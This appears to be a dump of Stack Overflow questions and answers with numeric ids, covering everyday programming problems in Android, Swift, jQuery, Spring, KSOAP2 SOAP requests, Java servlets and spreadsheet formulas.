17617438	0	 <p>Here's one more article doing a detailed comparison between Wowza and AMS</p> <p><a href="http://www.webnethosting.net/wowza-media-servers-vs-adobe-flash-media-servers/" rel="nofollow">http://www.webnethosting.net/wowza-media-servers-vs-adobe-flash-media-servers/</a></p>
9471982	0	From which version of Android api can I develop a scrollable app widget? <p>I like the scrollable Calendar App Widget (see picture), and I want to develop a similar scrollable widget for my application. But I'm not sure from which version of Android api (or platform) can I develop a scrollable app widget? Any ideas? Thank you so much! <img src="https://i.stack.imgur.com/AgHio.jpg" alt="enter image description here"></p>
13313079	0	Cocoa - Pasing JSON crash on null <p>What is the best way to prevent my app from crash?</p> <p>I'm using a JSON service that sometimes get NULL fields. What is the best way to prevent it?</p> <p>Right now, I've to do this on every field:</p> <pre><code>if(![[[[Dictionary objectForKey:@"option"] objectForKey:@"option"] objectForKey:@"option"] isKindOfClass:[NSNull class]]) </code></pre> <p>The problem is that the Dic is very complex, and sometimes I even get no the field I look for. So that's a lot of validations.</p>
5883839	0	 <p>This will search all the div's on the page for the text contained in <code>platformString</code> and wrap them in tags.</p> <pre><code>var platformString = "replaceMe"; $('div').html(function() { return $(this).html().replace(new RegExp(platformString, "ig"), '&lt;strong&gt;$&amp;&lt;/strong&gt;')); }); </code></pre> <p>It's similar to "highlighting" just replace <code>&lt;strong&gt;</code> with another kind of tag you wish to use.. maybe a <code>&lt;span&gt;</code> with a class for some custom effects?</p> <p>EDIT: replace <code>searchString</code> with <code>$&amp;</code> - matches the searched text and preserves capitalization</p>
30342605	0	 <p>This can be done using formulas by a two step approach:</p> <p>a) split the number (assuming it is in in cell <strong>A1</strong>) into pieces <code>=CONCATENATE(LEFT(A1;4);"-";MID(A1;5;2);"-";RIGHT(A1;2))</code> This gives you your date as a STRING in a cell.</p> <p>b) Combine this with VALUE, like <code>=VALUE(CONCATENATE(LEFT(A1;4);"-";MID(A1;5;2);"-";RIGHT(A1;2)))</code></p> <p>This yields to a date number <strong>41220</strong> (from start of counting, as determined by <code>Tools&gt;Options...&gt;OpenOffice.org Calc&gt;Calculate&gt;Date</code>; mine is set to option '1899-12-30'). Now format as you like.</p>
33120905	0	Alfresco lucene query with PARENT search all children recursively? <p>I'm doing a lucene search using PARENT. But returns me 0 results, and it's not ok. My query is like this:</p> <pre><code>TYPE:"{mymodel}exp" AND PARENT:"workspace://SpacesStore/30da316f-9d2a-4e37-a28b-89d86bff6582" AND =@myexp\:num_exp:"Exp 433" </code></pre> <p>The problem is that the node I'm searching isn't direct children of parent node.</p> <p>PARENT don't search recursively? Are there another way to search on children and subchildren? I can't use PATH, because I need a quick response and I read that PATH isn't optimal. </p>
1530872	0	Jquery UI Datepicker <p>I'd like to change the Default <code>altFormat</code>, but I can't seem to get it to work. </p> <pre><code>$("#myFav").datepicker({ dateFormat: 'yy-mm-dd' }); $("#myFav").datepicker('option', 'dateFormat', 'yy-mm-dd'); </code></pre> <p>I thought altFormat would work just the same? </p>
40809997	0	 <p>You can fix this by creating local variables:</p> <pre><code>@IBAction func playButtonPressed(_ sender: Any) { var index = 0.0 var i = 0 var j = 0 while i &lt; sites.count { while j &lt; sites[i].count { let day = i let site = j DispatchQueue.main.asyncAfter(deadline: .now() + 1.0 * index) { self.plot(day: day, site: site) } j += 1 index += 1 } j = 0 i += 1 } } </code></pre> <p>Or, as pointed out by Martin R in <a href="http://stackoverflow.com/questions/31565832/pass-value-to-closure">Pass value to closure?</a>, you can "capture" these variables:</p> <pre><code>@IBAction func playButtonPressed(_ sender: Any) { var index = 0.0 var i = 0 var j = 0 while i &lt; sites.count { while j &lt; sites[i].count { DispatchQueue.main.asyncAfter(deadline: .now() + 1.0 * index) { [i, j] in self.plot(day: i, site: j) } j += 1 index += 1 } j = 0 i += 1 } } </code></pre> <p>Or, personally, I'd probably use <code>for</code> loops to clean this up a bit:</p> <pre><code>@IBAction func playButtonPressed(_ sender: Any) { var delay = 0.0 for i in 0 ..&lt; sites.count { for j in 0 ..&lt; sites[i].count { DispatchQueue.main.asyncAfter(deadline: .now() + delay) { [i, j] in self.plot(day: i, site: j) } delay += 1 } } } </code></pre>
33461644	0	 <p>I think I will go in a different direction entirely by <a href="https://github.com/MobileChromeApps/mobile-chrome-apps" rel="nofollow">using the cca (Chrome Cordova App) toolchain to develop Mobile Chrome Apps</a>.</p> <p><a href="https://github.com/GoogleChrome/chrome-app-samples#mobile-support" rel="nofollow">Here are some sample starter apps</a>.</p> <p><a href="https://www.youtube.com/watch?v=FXcKs5QPOn4" rel="nofollow">And here is a good Youtube video depicting the procedure</a>.</p>
3320065	0	 <p>Lesson one in Joel's test should be: <em>Do you regularly critically revisit the software team quality tests?</em></p> <p>While I like Joel and the list is a good list, it's only a starting point and without proper knowledge of how to apply any part that that test tells you to apply, you won't get far by just introducing them to your team. Worse, it may do more harm than good.</p> <p>With a current client, much of that test would've failed when I started out there. Explaining the managers that quality is something measurable in less bugs, better understanding of process and better understanding of delays (!) and cheaper on a very short notice helped me introduce many of those concepts. </p> <p>It was and always has been hard to introduce any tools that cost money (do the math: a programmer may cost a company $6000 a month all in, that extra tool for $300 a year per seat that saves you 1 hour a day, somehow managers just can't calculate, they'll still consider it too expensive). It's a silly truth and in the end the company will not only loose time, but also the programmers.</p> <p>But you have to start somewhere. <strong>Don't overwhelm the team, but slowly introduce them to new concepts</strong>. Source control (a good one, do <em>not</em>, I repeat, <em>DO NOT</em> use Visual Source Safe), feature/debug tracking and quiet working conditions will get you more than halfway, are cheap or free and are easy to introduce. You can (ab)use the feature tracking system for documentation, specifications, bug tracking and planning. Together with rollback facilities of source control this will get you a large part of the x/12 score.</p> <p>Don't (yet) attempt anything that delays the process or "feels like" a lot of work <em>before any result is seen</em>. These are things like a release schedule, specifications like FD and TD and (very) expensive tools that require knowledge that you currently don't have (interpreting the output from a good memory profiler is an art on itself, for instance). Introduce new concepts slowly and you should be fine.</p>
24668164	0	 <p>Your short-hand property of background overrides the background, so you need to do like this:</p> <pre><code>body{ color:red; background: url("image.jpg") no-repeat;//now it works which doesn't support rgba background: rgba(255,255,255,.85); } </code></pre>
18934896	0	 <p><code>Pattern.matches</code> would try to match the pattern exactly..</p> <p>So it would return <code>true</code> only if you have a <strong>single</strong> non space character as input.</p> <p>Its like using <code>\A[^ ]\z</code></p> <p>where <code>\A</code> is the beginning of input and <code>\z</code> is end of input..</p> <hr> <p>If you want to check for strings that doesn't contain space you can use</p> <pre><code>input.matches("[^ ]*"); </code></pre>
22177393	0	 <p>The issue was in the dependencies of the gradle.build file. </p> <p>Changed the following lines in gradle.build from:</p> <pre><code>dependencies { groovy 'org.codehaus.groovy:groovy:2.2.2' ... </code></pre> <p>to:</p> <pre><code>dependencies { groovy 'org.codehaus.groovy:groovy-all:2.2.2' ... </code></pre> <p>This resolved the issue.</p>
26997250	0	 <p>have you thought of using method overloads instead? generally spoken i would try to avoid switch case blocks, with view exceptions, since they are often a smell that inheritance, overloads, etc. could solve the problem in a nicer way.</p> <p>BR</p>
18038605	0	 <p>The purest way I can think of to do this is with IPC. Python has very good support for IPC between two processes when one process spawns another, but not in your scenario. There are python modules for ipc such as <code>sysv_ipc</code> and <code>posix_ipc</code>. But if you are going to have your main application built in tornado, why not just have it listen on a <code>zeromq</code> socket for published messages.</p> <p>Here is a link with more information. You want the Publisher-Subscriber model.</p> <p><a href="http://zeromq.github.io/pyzmq/eventloop.html#tornado-ioloop" rel="nofollow">http://zeromq.github.io/pyzmq/eventloop.html#tornado-ioloop</a></p> <p>Your cron job will start and publish messages a to <code>zeromq</code> socket. Your already running application will receive them as subscriber.</p>
29615692	0	How to know what routes go on between two points? <p>Ok guys, i'm dealing with this situation in my Android App. I have:</p> <ul> <li>Two points (origin and destination).</li> <li>A set of routes or paths in which can pass a car.</li> </ul> <p>So.. my question is: how can I know what of these routes is the most nearest route from my location (origin) that can take me to another location (destination)?</p> <p>I neeed to use Google Maps API? What part of the API?</p> <p>Can you help me?</p>
34618953	0	 <p>Please make sure Signup is an Activity declared in the Android Manifest. As a convention, append Activity at the end of the class name to indicate that it is indeed an Activity, for instance, SignUpActivity.</p>
39764388	0	 <p>If you are using wordpress then you should use the session_start(); in wp-config.php file so please first put in you wp-config.php at top and then check.</p>
13267145	0	What is the best way of extending spring application context? <p>I need to extend spring applicatioContext xml file with new beans definitions and then add references to them to list, which is a property of one bean: Basic applicationContext xml file: </p> <pre><code>&lt;bean id="myBean" class="com.example.MyBean"&gt; &lt;property name="providers"&gt; &lt;list&gt; &lt;ref bean="provider1"&gt; &lt;/list&gt; &lt;/property&gt; &lt;/bean&gt; &lt;bean id="provider1" class="com.example.Provider"&gt; </code></pre> <p>Depends on instance of application I have different providers, so I need to add them to the list. Now I have the additional beans definitions in database and use <code>BeanFactoryPostProcessor</code> to add them to the context and then add references to them to the list of providers. But I use <code>@Transactional</code> annotation on <code>myBean</code> and automatic transaction management (<code>tx:annotation-driven</code>) and because of using <code>BeanFactoryPostProcessor</code> the transaction annotations are not processed. </p> <p>So I need another way to extend the application context and then the list of providers. What can I use? </p> <p>My idea is to have xml file which at the beginning is empty and then fill it by data from database and then import it somehow in applicationContext. Is it possible?</p> <p>Thanks for your help </p>
31127528	0	 <p>Big thanks to Reto Koradi, if anyone wants to leave an answer I will mark it as correct. </p> <p>The casting was incorrect. Needs to be in LITTLE_ENDIAN order:</p> <pre><code>ByteBuffer transformedBuffer = ((ByteBuffer) mappedBuffer); transformedBuffer.order(ByteOrder.LITTLE_ENDIAN); Log.d(TAG, String.format("pre-run input values = %f %f %f %f %f\n", transformedBuffer.getFloat(), transformedBuffer.getFloat(), transformedBuffer.getFloat(), transformedBuffer.getFloat(), transformedBuffer.getFloat())); </code></pre>
34597454	0	 <p>I am not sure what you want to accomplish. If you want to pre-compute a (non-changing) value and distribute it to all task managers (I assume you need access those value in some operators), you can simple give those value via constructor parameters to your UDFs or use Flink's broadcast variables: <a href="https://ci.apache.org/projects/flink/flink-docs-release-0.8/programming_guide.html#broadcast-variables" rel="nofollow">https://ci.apache.org/projects/flink/flink-docs-release-0.8/programming_guide.html#broadcast-variables</a></p>
5645052	0	android SimpleCursorAdapter no item msg <p>I have used to following code to display the favorite item listing. It has a deletion functionality through context menu.</p> <pre><code>@Override public void onCreate(Bundle savedInstanceState) { ......................... ......................... wordDataHelper = new WordDataHelper(getApplicationContext()); favCursor = wordDataHelper.getCursorFav(); startManagingCursor(favCursor); // Now create a new list adapter bound to the cursor. // SimpleListAdapter is designed for binding to a Cursor. favAdapter = new SimpleCursorAdapter( this, // Context. android.R.layout.simple_list_item_1, favCursor, // Pass in the cursor to bind to. new String[] {WordDataHelper.ENGWORD}, // Array of cursor columns to bind to. new int[] {android.R.id.text1}); // Parallel array of which template objects to bind to those columns. // Bind to our new adapter. setListAdapter(favAdapter); list = getListView(); list.setOnCreateContextMenuListener(new OnCreateContextMenuListener() { // @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) { menu.setHeaderTitle("Context Menu"); menu.add(0, CONTEXT_DELETE, 1, "Delete Item"); } }); list.setTextFilterEnabled(true); list.setClickable(true); .................. .................. } public boolean onContextItemSelected(MenuItem item) { AdapterView.AdapterContextMenuInfo menuInfo = (AdapterView.AdapterContextMenuInfo) item .getMenuInfo(); final Long wordId = menuInfo.id; // selected_row = menuInfo.position; // To get the id of the clicked item in the list use menuInfo.id switch (item.getItemId()) { case CONTEXT_DELETE: deleteRes(wordId); favCursor = wordDataHelper.getCursorFav(); ((SimpleCursorAdapter) favAdapter).changeCursor(favCursor); break; default: return super.onContextItemSelected(item); } return true; } </code></pre> <p>Everything is working fine. Now I want to display a "No favorite item" msg when there is no item to list. How to arrange it?</p>
14216554	0	 <p>The problem is that you are binding your event handler to the element before it exists because it is still being ajax'ed.</p> <p>Try including a callback function in <code>Guardian_news</code> and executing it once the ajax is complete - then bind your events within that callback.</p> <p>EDIT: something like this:</p> <pre><code>function Guardian_news(filter, selector, div, callback) { this.path = 'fullwindow1.html'; this.filter = filter; this.selector = selector; this.populate = function(){ $.get(this.path, function(templates){ var template = $(templates).filter(filter).html(); $(selector).html(Mustache.render(template)); callback(); // Call our callback here once the ajax is complete and the template is rendered }); } } $(document).ready(function(){ var menu; var callback = function () { $('#science').click(function(){ alert('url accessed'); }); } menu = new Guardian_news('#navigationBar', '#menu', callback); menu.populate(); }); </code></pre>
31699954	0	Search for string but with minus substring <p>I want to search for strings from a list but I do not want that value returned if the string contains the substring "banner". How would I do this?</p> <p>Thus far this is my formula for finding the string </p> <pre><code>=INDIRECT("A"&amp;(MATCH("*"&amp;RIGHT(D11,10)&amp;"*",$A:$A,0))) </code></pre> <p>I want to alter it so that it excludes strings including the substring "banner"</p>
31671175	0	KSOAP2 complex request property not being seen <p>I'm having a problem sending a complex SOAP request to a third-party company server (server can have no changes) from an android device. I'm using KSOAP2 library and one of the properties is missing (server is giving an error which occurs when <code>klausimai</code> is <code>null</code>. Also the same namespace in my request is repeated multiple times when KSOAP2 generates the XML, since I pass a lot of <code>PropertyInfo</code>. My question is, why could the server see other properties (it would also give an error about the <code>null</code> ones) But doesn't see <code>klausimai</code> ?</p> <p><strong>Sample request XML for WS given by server company</strong></p> <pre><code>?xml version="1.0" encoding="UTF-8"?&gt; &lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt; &lt;s:Body&gt; &lt;teiktiTemineAtaskaita xmlns="http://tempuri.org/"&gt; &lt;userName&gt;apps&lt;/userName&gt; &lt;password&gt;mob2015*&lt;/password&gt; &lt;uzduotiesNr&gt;24287&lt;/uzduotiesNr&gt; &lt;inspektavimas xmlns:a="http://schemas.datacontract.org/2004/07/DssisMP" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;a:apsilankymuObjekteSkaicius i:nil="true" /&gt; &lt;a:atstovai i:nil="true" /&gt; &lt;a:darbdavioBuveinesAdresas i:nil="true" /&gt; &lt;a:darbdavioGimimoData i:nil="true" /&gt; &lt;a:darbdavioKodas&gt;110871120&lt;/a:darbdavioKodas&gt; &lt;a:darbdavioLytis i:nil="true" /&gt; &lt;a:darbdavioPagrindineEkonomineVeikla i:nil="true" /&gt; &lt;a:darbdavioPavadinimas i:nil="true" /&gt; &lt;a:darbdavioPavarde i:nil="true" /&gt; &lt;a:darbdavioTipas i:nil="true" /&gt; &lt;a:darbdavioVardas i:nil="true" /&gt; &lt;a:inspektavimoNr&gt;11112245&lt;/a:inspektavimoNr&gt; &lt;a:inspektavimoPradzia&gt;2015-07-23T00:00:00+03:00&lt;/a:inspektavimoPradzia&gt; &lt;a:inspektavimoTiksloKodas&gt;111&lt;/a:inspektavimoTiksloKodas&gt; &lt;a:institucijos i:nil="true" /&gt; &lt;a:savivaldybesKodas i:nil="true" /&gt; &lt;a:temineAtaskaita&gt; &lt;a:klausimai&gt; &lt;a:TAKlausimas&gt; &lt;a:atsakymas&gt;2&lt;/a:atsakymas&gt; &lt;a:eilNr&gt;1.&lt;/a:eilNr&gt; &lt;a:klausimas i:nil="true" /&gt; &lt;a:kodas&gt;1000&lt;/a:kodas&gt; &lt;a:komentaras i:nil="true" /&gt; &lt;/a:TAKlausimas&gt; &lt;a:TAKlausimas&gt; &lt;a:atsakymas&gt;1&lt;/a:atsakymas&gt; &lt;a:eilNr&gt;1.1.&lt;/a:eilNr&gt; &lt;a:klausimas i:nil="true" /&gt; &lt;a:kodas&gt;1001&lt;/a:kodas&gt; &lt;a:komentaras i:nil="true" /&gt; &lt;/a:TAKlausimas&gt; &lt;a:TAKlausimas&gt; &lt;a:atsakymas&gt;3&lt;/a:atsakymas&gt; &lt;a:eilNr&gt;2.&lt;/a:eilNr&gt; &lt;a:klausimas i:nil="true" /&gt; &lt;a:kodas&gt;1002&lt;/a:kodas&gt; &lt;a:komentaras i:nil="true" /&gt; &lt;/a:TAKlausimas&gt; &lt;/a:klausimai&gt; &lt;a:nr&gt;BIOCIDŲ PRIEŽIŪRA-0050-0007&lt;/a:nr&gt; &lt;a:rekomendacijos i:nil="true" /&gt; &lt;a:surasymoData&gt;2015-07-23T00:00:00+03:00&lt;/a:surasymoData&gt; &lt;a:tipas&gt;9&lt;/a:tipas&gt; &lt;/a:temineAtaskaita&gt; &lt;a:tikrintaEkonomineVeikla i:nil="true" /&gt; &lt;a:tikrintaNakti i:nil="true" /&gt; &lt;a:tikrintasObjektas i:nil="true" /&gt; &lt;a:tikrintoObjektoAdresas i:nil="true" /&gt; &lt;a:tikrintoObjektoPavadinimas i:nil="true" /&gt; &lt;a:vadovoAsmensKodas i:nil="true" /&gt; &lt;a:vadovoGimimoData i:nil="true" /&gt; &lt;a:vadovoLytis i:nil="true" /&gt; &lt;a:vadovoPareigos i:nil="true" /&gt; &lt;a:vadovoPavarde i:nil="true" /&gt; &lt;a:vadovoVardas i:nil="true" /&gt; &lt;/inspektavimas&gt; &lt;/teiktiTemineAtaskaita&gt; &lt;/s:Body&gt; &lt;/s:Envelope&gt; </code></pre> <p><strong>My HTTPTransport request dump XML generated by KSOAP2</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;v:Envelope xmlns:v="http://schemas.xmlsoap.org/soap/envelope/" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;v:Header /&gt; &lt;v:Body&gt; &lt;teiktiTemineAtaskaita xmlns="http://tempuri.org/"&gt; &lt;userName&gt;apps&lt;/userName&gt; &lt;password&gt;mob2015*&lt;/password&gt; &lt;uzduotiesNr&gt;212855&lt;/uzduotiesNr&gt; &lt;n0:inspektavimas xmlns:n0="http://tempuri.org/"&gt; &lt;inspektavimoNr i:null="true" /&gt; &lt;n1:inspektavimoPradzia xmlns:n1="http://schemas.datacontract.org/2004/07/DssisMP" i:type="d:dateTime"&gt;2015-07-26T21:00:00.000Z&lt;/n1:inspektavimoPradzia&gt; &lt;inspektavimoTiksloKodas&gt;1101&lt;/inspektavimoTiksloKodas&gt; &lt;darbdavioKodas&gt;120163917&lt;/darbdavioKodas&gt; &lt;darbdavioPavadinimas&gt;Statybos ir remonto uždaroji akcinė bendrovė "RISTATYBA"&lt;/darbdavioPavadinimas&gt; &lt;darbdavioTipas&gt;1&lt;/darbdavioTipas&gt; &lt;darbdavioBuveinesAdresas i:null="true" /&gt; &lt;darbdavioPagrindineEkonomineVeikla i:null="true" /&gt; &lt;vadovoAsmensKodas&gt;721788222&lt;/vadovoAsmensKodas&gt; &lt;vadovoVardas&gt;tvt&lt;/vadovoVardas&gt; &lt;vadovoPavarde&gt;gtvt&lt;/vadovoPavarde&gt; &lt;vadovoPareigos&gt;5&lt;/vadovoPareigos&gt; &lt;n2:vadovoGimimoDiena xmlns:n2="http://schemas.datacontract.org/2004/07/DssisMP" i:type="d:dateTime"&gt;2015-07-22T21:00:00.000Z&lt;/n2:vadovoGimimoDiena&gt; &lt;vadovoLytis&gt;0&lt;/vadovoLytis&gt; &lt;tikrintasObjektas&gt;3&lt;/tikrintasObjektas&gt; &lt;tikrintoObjektoPavadinimas i:null="true" /&gt; &lt;tikrintoObjektoAdresas i:null="true" /&gt; &lt;savivaldybesKodas&gt;46&lt;/savivaldybesKodas&gt; &lt;tikrintaEkonomineVeikla i:null="true" /&gt; &lt;apsilankymuObjekteSkaicius i:null="true" /&gt; &lt;tikrintaNakti&gt;0&lt;/tikrintaNakti&gt; &lt;n3:temineAtaskaita xmlns:n3="http://schemas.datacontract.org/2004/07/DssisMP"&gt; &lt;n3:nr i:null="true" /&gt; &lt;n3:tipas i:type="d:int"&gt;18&lt;/n3:tipas&gt; &lt;n3:surasymoData i:type="d:dateTime"&gt;2015-07-22T09:53:59.822Z&lt;/n3:surasymoData&gt; &lt;n3:klausimai&gt; &lt;n3:TAKlausimas&gt; &lt;n3:kodas i:type="d:string"&gt;3183&lt;/n3:kodas&gt; &lt;n3:eilNr i:type="d:string"&gt;1.1.&lt;/n3:eilNr&gt; &lt;n3:klausimas i:null="true" /&gt; &lt;n3:atsakymas i:type="d:int"&gt;1&lt;/n3:atsakymas&gt; &lt;n3:komentaras i:null="true" /&gt; &lt;/n3:TAKlausimas&gt; &lt;n3:TAKlausimas&gt; &lt;n3:kodas i:type="d:string"&gt;3184&lt;/n3:kodas&gt; &lt;n3:eilNr i:type="d:string"&gt;1.1.1.&lt;/n3:eilNr&gt; &lt;n3:klausimas i:null="true" /&gt; &lt;n3:atsakymas i:type="d:int"&gt;2&lt;/n3:atsakymas&gt; &lt;n3:komentaras i:null="true" /&gt; &lt;/n3:TAKlausimas&gt; &lt;/n3:klausimai&gt; &lt;n3:rekomendacijos i:type="d:string"&gt;Gyghugyb&lt;/n3:rekomendacijos&gt; &lt;/n3:temineAtaskaita&gt; &lt;/n0:inspektavimas&gt; &lt;/teiktiTemineAtaskaita&gt; &lt;/v:Body&gt; &lt;/v:Envelope&gt; </code></pre> <p><strong>My Java code for request creation</strong></p> <pre><code>List&lt;Questionnaire&gt; questionnaireList = new ArrayList&lt;&gt;(); String METHOD_NAME = "teiktiTemineAtaskaita"; String SOAP_ACTION = "http://tempuri.org/IDssisMP/" + METHOD_NAME; String A_NAMESPACE = "http://schemas.datacontract.org/2004/07/DssisMP"; String I_NAMESPACE = "http://www.w3.org/2001/XMLSchema-instance"; String NAMESPACE = "http://tempuri.org/"; String URL = "http://dvs/dssis_ws_test/DssisMP.svc"; SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); UserInfo userInfo = UserInfo.getAll().get(0); request.addProperty("userName", userInfo.getUserName()); request.addProperty("password", userInfo.getPassword()); request.addProperty("uzduotiesNr", taskId); CompanyInfo ci = CompanyInfo.getByTaskCompanyId(taskId, companyId); if (ci == null) { sendResponseFailed(responseHandler); //starter validation } else { //adding all the non-complex properties SoapObject inspektavimas = new SoapObject(NAMESPACE, "inspektavimas"); if (ci.getInspectationId() != 0) { inspektavimas.addProperty("inspektavimoNr", ci.getInspectationId()); } else { inspektavimas.addProperty("inspektavimoNr", null); } if (ci.getDateInspectation() != null) { PropertyInfo p = new PropertyInfo(); p.setNamespace(A_NAMESPACE); p.setName("inspektavimoPradzia"); p.setType(MarshalDate.class); p.setValue(ci.getDateInspectation()); inspektavimas.addProperty(p); } else { sendResponseFailed(responseHandler); } if (ci.getGoalId() != 0) { inspektavimas.addProperty("inspektavimoTiksloKodas", ci.getGoalId()); } else { sendResponseFailed(responseHandler); } if (ci.getObjectName() != null) { inspektavimas.addProperty("tikrintoObjektoPavadinimas", ci.getObjectName()); } else { inspektavimas.addProperty("tikrintoObjektoPavadinimas", null); } if (ci.getObjectAddress() != null) { inspektavimas.addProperty("tikrintoObjektoAdresas", ci.getObjectAddress()); } else { inspektavimas.addProperty("tikrintoObjektoAdresas", null); } //... SoapObject soTemineAtaskaita = new SoapObject(A_NAMESPACE, "temineAtaskaita"); TemineAtaskaita temineAtaskaita = TemineAtaskaita.getByTaskCompanyThemeCode(taskId, companyId, themeCode); PropertyInfo p = new PropertyInfo(); p.setNamespace(A_NAMESPACE); p.setName("nr"); if (temineAtaskaita != null &amp;&amp; temineAtaskaita.getAtaskaitosNr() != null) { p.setValue(temineAtaskaita.getAtaskaitosNr()); soTemineAtaskaita.addProperty(p); } else { p.setValue(null); soTemineAtaskaita.addProperty(p); } Theme theme = Theme.getByTaskCompanyThemeCode(taskId, companyId, themeCode); if (theme != null) { PropertyInfo pType = new PropertyInfo(); pType.setNamespace(A_NAMESPACE); pType.setName("tipas"); pType.setValue(theme.getThemeCode()); soTemineAtaskaita.addProperty(pType); PropertyInfo pDate = new PropertyInfo(); pDate.setNamespace(A_NAMESPACE); pDate.setName("surasymoData"); pDate.setValue(theme.getDate()); pDate.setType(MarshalDate.class); soTemineAtaskaita.addProperty(pDate); } //adding klausimai property which is not seen SoapObject klausimai = new SoapObject(A_NAMESPACE, "klausimai"); List &lt;Answer&gt; answers = Answer.getByTaskCompanyThemeCode(taskId, companyId, themeCode); for (Answer answer : answers) { SoapObject soTAKlausimas = new SoapObject(A_NAMESPACE, "TAKlausimas"); PropertyInfo pCode = new PropertyInfo(); pCode.setNamespace(A_NAMESPACE); pCode.setName("kodas"); pCode.setValue(answer.getQuestionId()); soTAKlausimas.addProperty(pCode); Questionnaire questionnaire = Questionnaire.getById(answer.getQuestionId()).get(0); PropertyInfo pEilNr = new PropertyInfo(); pEilNr.setNamespace(A_NAMESPACE); pEilNr.setName("eilNr"); pEilNr.setValue(questionnaire.getPosition()); soTAKlausimas.addProperty(pEilNr); PropertyInfo pKlausimas = new PropertyInfo(); pKlausimas.setNamespace(A_NAMESPACE); pKlausimas.setName("klausimas"); pKlausimas.setValue(null); soTAKlausimas.addProperty(pKlausimas); PropertyInfo pAnswer = new PropertyInfo(); pAnswer.setNamespace(A_NAMESPACE); pAnswer.setName("atsakymas"); pAnswer.setValue(questionnaire.getPosition()); if (answer.getAnswer() == QuestionItem.STATUS.YES.ordinal()) pAnswer.setValue(1); else if (answer.getAnswer() == QuestionItem.STATUS.NO.ordinal()) pAnswer.setValue(2); else if (answer.getAnswer() == QuestionItem.STATUS.UNKNOWN.ordinal()) pAnswer.setValue(3); else if (answer.getAnswer() == QuestionItem.STATUS.PLAIN.ordinal()) pAnswer.setValue(null); soTAKlausimas.addProperty(pAnswer); PropertyInfo pComment = new PropertyInfo(); pComment.setNamespace(A_NAMESPACE); pComment.setName("komentaras"); if (answer.getComment() != null &amp;&amp; !answer.getComment().replace(" ", "").replace(" ", "").isEmpty()) { pComment.setValue(answer.getComment()); } else { pComment.setValue(null); } soTAKlausimas.addProperty(pComment); klausimai.addSoapObject(soTAKlausimas); } soTemineAtaskaita.addSoapObject(klausimai); if (theme != null) { PropertyInfo pSuggestions = new PropertyInfo(); pSuggestions.setNamespace(A_NAMESPACE); pSuggestions.setName("rekomendacijos"); if (theme.getSuggestions() != null &amp;&amp; !theme.getSuggestions().replace(" ", "").replace(" ", "").isEmpty()) { pSuggestions.setValue(theme.getSuggestions()); } else { pSuggestions.setValue(null); } soTemineAtaskaita.addProperty(pSuggestions); } inspektavimas.addSoapObject(soTemineAtaskaita); request.addSoapObject(inspektavimas); SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11); envelope.dotNet = true; envelope.setAddAdornments(false); envelope.implicitTypes = true; envelope.setOutputSoapObject(request); new MarshalDate().register(envelope); HttpTransportSE androidHttpTransport = new HttpTransportSE(URL, 45 * 1000); androidHttpTransport.debug = true; androidHttpTransport.call(SOAP_ACTION, envelope); final SoapObject response = (SoapObject) envelope.getResponse(); ****//...**** } </code></pre>
21548428	0	Getting Server Error while calling Servlet from Java Application <p>Here is my Java Class by which I am calling simple servlet and passing the data, I am<br> using URL and HttpURlConnection class.What should be path of url for the servlet</p> <pre><code>public class TestJava { public static void main(String[] args) { try { URL url=new URL("http://localhost:9865/TestingServlet/PushServlet"); HttpURLConnection http_url =(HttpURLConnection) url.openConnection(); http_url.setRequestMethod("POST"); http_url.setDoOutput(true); http_url.setDoInput(true); InputStream response = http_url.getInputStream(); System.out.println(" " +response); ObjectOutputStream objOut = new ObjectOutputStream(http_url.getOutputStream()); objOut.writeObject("hello"); objOut.flush(); objOut.close(); } catch (IOException e) { e.printStackTrace(); } } } </code></pre> <p>Here is the servlet code, I am receiving the object from the java code and displaying<br> it on the console. </p> <pre><code> public class PushServlet extends HttpServlet { public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { System.out.println("HELLO This is servlet"); ObjectInputStream objIn = new ObjectInputStream(request.getInputStream()); TestJava p = null; p = (TestJava) objIn.readObject(); System.out.println("Servlet received p: "+p); } catch (Throwable e) { e.printStackTrace(System.out); } } </code></pre> <p>My web.xml is like this</p> <pre><code> &lt;welcome-file-list&gt; &lt;welcome-file&gt; Customer_Servlet &lt;/welcome-file&gt; &lt;/welcome-file-list&gt; &lt;servlet&gt; &lt;servlet-name&gt;PushServlet&lt;/servlet-name&gt; &lt;servlet-class&gt;com.servlet.PushServlet&lt;/servlet-class&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;PushServlet&lt;/servlet-name&gt; &lt;url-pattern&gt;/PushServlet&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;session-config&gt; &lt;session-timeout&gt;50&lt;/session-timeout&gt; &lt;/session-config&gt; &lt;/web-app&gt; </code></pre> <p>When i m trying to run the java code on server i.e Apache server, I'm getting<br> error HTTP Status 404 i am not able to find why i am getting this server error My code is all about invoking the servlet from java application </p> <pre><code> please help me guys . </code></pre>
38761803	0	 <p>No, currently that's not possible since you can either use the default mongo data engine <em>or</em> switch it with the Eve-Sqlalchemy engine.</p>
6117774	0	 <p>MSDN has a whole section on the Media Player SDK - and <a href="http://msdn.microsoft.com/en-us/library/dd562289%28v=VS.85%29.aspx" rel="nofollow">this page</a> in particular should be of considerable use to you, I hope.</p>
15495487	0	 <p>Just looking at it, I'm pretty sure your code works. Well I know this does.</p> <pre><code>&lt;img id="pic" src="https://www.google.com.au/images/srpr/logo4w.png"/&gt; &lt;input type="button" value ="Yahoo" onclick="change('http://l.yimg.com/ao/i/mp/properties/frontpage/eclipse/img/y7-logo_default.v1.png')" /&gt; &lt;input type="button" value ="Google" onclick="change('https://www.google.com.au/images/srpr/logo4w.png')" /&gt; &lt;script&gt; function change(src){ document.getElementById('pic').src = src; } &lt;/script&gt; </code></pre>
